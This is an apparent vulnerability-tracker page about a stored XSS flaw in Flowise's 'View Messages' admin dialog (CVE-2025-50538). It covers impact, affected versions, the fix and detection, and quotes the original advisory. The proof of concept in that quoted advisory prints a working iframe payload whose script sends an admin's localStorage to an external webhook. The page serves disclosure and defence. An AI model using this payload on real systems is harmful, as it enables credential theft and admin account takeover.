AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-50538: Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

criticalCVSS 3.1 9.3GHSA-964p-j4gg-mhwc

Flowise renders stored chat messages as raw HTML in the "View Messages" dialog. Anyone who can chat with a public agent can plant script, which then runs in an admin's browser and steals what is in localStorage. The package data lists versions before 3.0.8 as affected and 3.0.8 as patched.

Published Oct 3, 2025 · Updated Oct 13, 2025 · Analysis Nov 9, 2026

What an attacker can do

Flowise agents are often embedded on public sites, so anyone can send them messages. Those messages are stored. When an administrator opens View Messages for the workflow, the UI inserted the stored text with dangerouslySetInnerHTML and no sanitising. The reporter's payload is an iframe whose srcdoc holds a script that sends the contents of localStorage to an external server.

The attacker needs no account, only the ability to chat with the agent. The admin needs to open the dialog, which is the user interaction in the CVSS vector. The script runs in the admin's session on the Flowise origin, so the attacker receives whatever the page keeps in localStorage and can act with the admin's rights in the panel. The advisory calls this account takeover and full panel compromise. A Flowise admin typically manages API keys, credentials for model providers and the logic of the agents, so a hijacked session exposes those.

The EPSS percentile for this advisory is high, which suggests wide interest, but no source says it was exploited.

Who is affected

The advisory text says flowise before 2.2.7. The package data on this entry lists everything before 3.0.8 as vulnerable, and the release link points to flowise 3.0.5, so the sources disagree on the exact boundary. Use 3.0.8 as the safe target. Check your version:

npm ls flowise

For Docker, check the image tag, or look at the version in the Flowise UI settings.

flowise

Ecosystem
npm
Affected
< 3.0.8
Fixed in
3.0.8
Check
npm ls flowise

How to fix it

Upgrade to 3.0.8 or newer:

npm install -g flowise@latest

The fix commit is 9a06a85a8ddcbaeca1342827a5fea9087a587d97 (pull request 4905). It adds a SafeHTML component that runs DOMPurify.sanitize() with a tag and attribute allowlist, and uses it in ViewMessagesDialog, NodeExecutionDetails and ChatMessage. It also stops the JSON viewer from injecting HTML strings. The advisory lists no workaround. Until you upgrade, avoid opening View Messages on workflows exposed to the public, and rotate the admin credentials and API keys if you suspect a payload was viewed.

How to tell if you were hit

Search stored chat messages for HTML such as iframe srcdoc, script tags, onerror or onload attributes, and fetch calls to external hosts. Check outbound requests from admin browsers to unknown hosts at the moment View Messages was opened. Review admin sessions and API keys for use from new addresses. Rotate keys and credentials stored in the panel if a payload was viewed by an admin.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

---

Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

---

PoC

  1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
  2. Send the following payload via the agent's chat interface: ``html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``
  3. As an admin, go to the workflow and click "View Messages".
  4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

---

Impact

  • Type: Stored Cross-Site Scripting (XSS)
  • Who is impacted: Any admin viewing messages in the FlowiseAI UI
  • Data at risk: Admin credentials, or sensitive info stored in localStorage
  • Severity: High (Account takeover, admin privilege escalation, full panel compromise)

---

Affected Products

  • Ecosystem: npm
  • Package name: flowise
  • Affected versions: < 2.2.7
  • Patched versions:1

Credited to mikensec.

Questions

Which Flowise version fixes this issue?

The package data lists 3.0.8 as the patched version. The advisory text says versions before 2.2.7 and its patched-version field is garbled, so upgrade to the latest release.

Does the attacker need an account?

No. They only need to send a message to an agent reachable in a browser, for example one embedded on a website. An admin then has to open View Messages.

What does the attacker steal?

The contents of the admin's localStorage in the Flowise origin, which the advisory says can lead to credential theft and account takeover.

Is it exploited in the wild?

No source we read reports exploitation, and the entry has no CISA KEV record.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries